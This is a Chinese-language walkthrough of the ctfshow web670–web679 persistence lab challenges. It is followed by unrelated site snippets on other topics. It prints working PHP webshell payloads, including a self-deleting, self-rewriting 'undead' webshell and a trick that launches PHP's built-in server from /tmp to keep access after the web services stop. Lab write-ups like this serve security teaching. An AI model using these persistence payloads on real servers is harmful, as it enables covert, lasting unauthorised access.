Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

CTFshow 权限维持 web670【】

补充一下PHP中单双引号的区别:

单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。**单引号内的内容会按原样打印出来。**在大多数情况下,单引号内没有任何变量或转义序列的编译。

但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一些。

通俗一点说,双引号内的内容更加“智能”一点,如转义符$_POST[1]只有在双引号内才会被解析


题目说明:想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在。

image-20230816234814654

首先执行ls等命令查看目录

GET:?action=cmd
POST:cmd=system('ls /');

当前目录下只有一个index.php文件,根目录下确实没有flag。

image-20230817150326569

然后phpinfo简单看看PHP配置。无禁用函数。

image-20230817153054283

尝试写一个一句话马到当前目录(就是web目录)下的7.php文件中。

GET:?action=cmdPOST:cmd=file_put_contents('7.php', '<?php @eval($_POST[1]);?>');

发现这里PHP是有文件写入权限的。(写马不要用双引号,一开始踩坑了,单引号原样输出到木马文件中)

image-20230817155201448

补充一个踩坑时候找到的知识点:short_open_tag=Off不允许使用代码开始标志的缩写形式(<? ?> )。

此外,执行check之后,会发现当前目录下所有文件都被删了。。。所以题目归为权限维持。

GET:?action=check

image-20230817155428863

羽师傅猜测check后执行:

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

(重开环境)以此猜测为基础,维持权限的方法有三。

方法一:

利用rm -rf *的小缺陷,它无法删除点号开头的文件,所以可以写木马到.7.php文件,check后不会被删除。

GET:?action=cmdPOST:cmd=file_put_contents('.shell.php', '<?php @eval($_POST[1]);?>');

emmm,但是貌似写不进去。

image-20230817160937310


方法二:

可以使用不死马将木马写入内存。

<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = 'shell.php';$code = '<?php @eval($_POST[1]);?>';while (1) {file_put_contents($file, $code);usleep(5000);}
?>

解释一下不死马(内存马):

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)file_put_contents函数:将一个字符串写入该文件中usleep函数:延迟执行当前脚本数微秒,即条件竞争

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817161537007


方法三:

如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。

CTFshow 权限维持 web671

看起来和web670没什么区别。

image-20230817161624813

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

唯一的区别就是,flag文件在根目录。

image-20230817162000888

CTFshow 权限维持 web672

看起来还是和web670没什么区别。

image-20230817162047836

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817162246469

CTFshow 权限维持 web673

看起来还是和web670没什么区别。

image-20230817163159398

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817163349039

CTFshow 权限维持 web674

看起来还是和web670没什么区别。

image-20230817163443528

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817164009659

CTFshow 权限维持 web675

看起来还是和web670没什么区别。

image-20230817164050875

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817173416029

CTFshow 权限维持 web676

看起来还是和web670没什么区别。

image-20230817174037995

payload:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817184524309

CTFshow 权限维持 web677【】

看起来还是和web670没什么区别。(只是看起来,这次是真有区别了)

image-20230817185303987

用以前的payload试试:

GET:?action=cmdPOST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

查看一下当前目录,发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp除外)

image-20230817185421674

写不了文件就得换一种方法了。羽师傅的payload:

GET:?action=cmdPOST:cmd=system('while true;do cat /f*;done');

while true;do cat /tmp/f*;done是shell脚本的语法,满足条件(true)时,执行cat /f*命令。

shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园 (cnblogs.com)

执行后,然后直接check。

可能需要等一会才能出flag,要耐心哦~(要不然就会像我一样卡了两天…)

image-20230820000343920

同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag文件。

GET:?action=cmdPOST:cmd=system('sleep 10;cat /f*');

check后等一会flag就出来了。

image-20230820001123033

CTFshow 权限维持 web678

同web677。

CTFshow 权限维持 web679【】

题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗

源码还是一样。

image-20230818010549799

如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。

大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。

由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。

payload:

GET:?action=cmdPOST:
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

把木马写入可写目录/tmp下的index.php(默认的索引文件,访问时无需像访问同目录下1.php一样加上文件名,访问index.php是直接url/,访问1.php是访问url/1.php中,然后睡十秒,在/tmp目录下开启php内置服务器。

十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令。

image-20230818015456642

image-20230818015436893


权限维持结束收工!

参考文章如下:

CTFSHOW权限维持篇_yu22x的博客-CSDN博客

【ctfshow】web入门-权限维持 - lewiserii’s blog

内网渗透之权限维持 - anoldcat - 博客园 (cnblogs.com)

权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户

image-20230820001301875

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/97014.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

04_15页表缓存(TLB)和巨型页

前言 linux里面每个物理内存(RAM)页的一般大小都是4kb(32位就是4kb),为了使管理虚拟地址数变少 加快从虚拟地址到物理地址的映射 建议配值并使用HugePage巨型页特性 cpu和mmu和页表缓存(TLB)和cache和ram的关系 CPU看到的都是虚拟地址&#xff0c;需要经过MMU的转化&#xf…

机器学习深度学习——BERT(来自transformer的双向编码器表示)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——transformer&#xff08;机器翻译的再实现&#xff09; &#x1f4da;订阅专栏&#xff1a;机器学习&am…

houdini xyzdist primuv 实现按路径走

2. meause distance v 0; add popforce

关于Linux Docker springboot jar 日志时间不正确 问题解决

使用Springboot项目的jar&#xff0c;制作了一个Docker镜像&#xff0c;启动该镜像后发现容器和容器中的Springboot 项目的日志时间不正确。 解决 查看容器时间命令为&#xff1a; docker exec 容器id date 1. 容器与宿主机同步时间 在启动镜像时候把操作系统的时间通过&q…

iShot Pro for Mac 2.3.9最新中文版

iShot Pro是一款非常优秀的Mac截图软件&#xff0c;软件非常易于操作&#xff0c;主页面还设置了学习教程&#xff0c;可以轻松玩转软件所有功能&#xff0c;并且功能非常强大&#xff0c;不仅可以实现多种截图方式&#xff0c;还可以进行标注、贴图、取色、录屏、录音、OCR识别…

【二叉树前沿篇】树

【二叉树前沿篇】树 1 树的概念2. 树的相关概念3. 树的表示4. 树在实际中的运用&#xff08;表示文件系统的目录树结构&#xff09; 1 树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是…

嵌入式设计中对于只有两种状态的变量存储设计,如何高效的对循迹小车进行偏差量化

前言 &#xff08;1&#xff09;在嵌入式程序设计中&#xff0c;我们常常会要对各类传感器进行数据存储。大多时候的传感器&#xff0c;例如红外光传感器&#xff0c;返回的数据要么是0&#xff0c;要么是1。因此&#xff0c;只需要一bit就能够存储。而很多人却常常使用char型数…

IDEA:Error running,Command line is too long. 解决方法

报错如下&#xff1a; Error running SendSmsUtil. Command line is too long. Shorten the command line via JAR manifest or via a classpath file and rerun.原因是启动命令过长。 解决方法&#xff1a; 1、打开Edit Configurations 2、点击Modify options设置&#x…

Linux命令200例:nc非常有用的网络工具(常用)

&#x1f3c6;作者简介&#xff0c;黑夜开发者&#xff0c;全栈领域新星创作者✌。CSDN专家博主&#xff0c;阿里云社区专家博主&#xff0c;2023年6月csdn上海赛道top4。 &#x1f3c6;数年电商行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &…

根据源码,模拟实现 RabbitMQ - 实现消息持久化,统一硬盘操作(3)

目录 一、实现消息持久化 1.1、消息的存储设定 1.1.1、存储方式 1.1.2、存储格式约定 1.1.3、queue_data.txt 文件内容 1.1.4、queue_stat.txt 文件内容 1.2、实现 MessageFileManager 类 1.2.1、设计目录结构和文件格式 1.2.2、实现消息的写入 1.2.3、实现消息的删除…

【探索Linux】—— 强大的命令行工具 P.6(调试器-gdb、项目自动化构建工具-make/Makefile)

阅读导航 前言一、什么是调试器二、详解 GDB - 调试器1.使用前提2.经常使用的命令3.使用小技巧 三、项目自动化构建工具 - make/Makefile1. make命令⭕语法⭕常用选项⭕常用操作⭕make命令的工作原理⭕make命令的优势&#xff1a; 2.Makefile文件⭕Makefile的基本结构⭕Makefil…

【BUG】Docker启动MySQL报错

个人主页&#xff1a;金鳞踏雨 个人简介&#xff1a;大家好&#xff0c;我是金鳞&#xff0c;一个初出茅庐的Java小白 目前状况&#xff1a;22届普通本科毕业生&#xff0c;几经波折了&#xff0c;现在任职于一家国内大型知名日化公司&#xff0c;从事Java开发工作 我的博客&am…

Spring事务和事务传播机制(1)

前言&#x1f36d; ❤️❤️❤️SSM专栏更新中&#xff0c;各位大佬觉得写得不错&#xff0c;支持一下&#xff0c;感谢了&#xff01;❤️❤️❤️ Spring Spring MVC MyBatis_冷兮雪的博客-CSDN博客 在Spring框架中&#xff0c;事务管理是一种用于维护数据库操作的一致性和…

pdf 转 word

pdf 转 word 一、思路 直接调用LibreOffice 命令进行文档转换的命令行工具 使用的前系统中必须已经安装了 libreofficelibreoffice已翻译的用户界面语言包: 中文 (简体)libreoffice离线帮助文档: 中文 (简体)上传字体 重点&#xff1a;重点&#xff1a;重点&#xff1a; 亲…

idea使用docker生成镜像(打包镜像,导入镜像,导出镜像)

1&#xff1a;先下载安装dockerdesktop&#xff0c;安装成功后 2&#xff1a; 在cmd执行docker -v&#xff0c;查看安装的docker版本 C:\Users\dell>docker -v Docker version 24.0.5, build ced09963&#xff1a;需要启动 dockerdesktop应用&#xff0c;才算启动docker&a…

Global Illumination_Exponential Variance Shadow Maps(EVSM)

最近工程中需要集成高质量阴影&#xff08;效率、效果&#xff09;&#xff0c;介于项目非循环渲染所以CSM无法使用&#xff0c;但动态建模中还需要快速增删改场景&#xff0c;阴影还必须重新生成&#xff0c;奈何之前简单SMPCF无法满足效率、效果要求&#xff0c;于是调研RVT等…

mysql数据传输到mssql

一、找开Navicat Premium 12 此时目标数据库会创建一个同名的表

深度学习环境配置教程(保姆教程)

深度学习环境配置教程(保姆教程&#xff09; 目录1.Anaconda安装2.Anaconda环境操作相关1.显示所有环境2.新建虚拟环境3.激活虚拟环境4.在对应的虚拟环境中安装库&#xff08;tensorflow与torch的安装&#xff09;1. Tensorflow的CPU与GPU安装示例如下&#xff1a;2. pytorch的…

(七)Unity VR项目升级至Vision Pro需要做的工作

Vision Pro 概述 定位为混合现实眼镜&#xff0c;对AR支持更友好 无手柄&#xff0c;支持手&#xff08;手势&#xff09;、眼&#xff08;注视&#xff09;、语音交互 支持空间音频&#xff0c;相比立体声、环绕声更有沉浸感和空间感 支持VR/AR应用&#xff0c;支持多种应用模…

AWS复制EC2文件到S3,g4dn.2xlarge没有NVIDIA GPU 驱动问题

1、给instances权限 action > Security > modify IAM role 把提前创建好的role给这个instance即可 2、复制到bucket aws s3 cp gogo.tar.gz s3://ee547finalbucket不需要手动安装GPU驱动 如果要自己安装&#xff0c;参考https://docs.aws.amazon.com/AWSEC2/latest/U…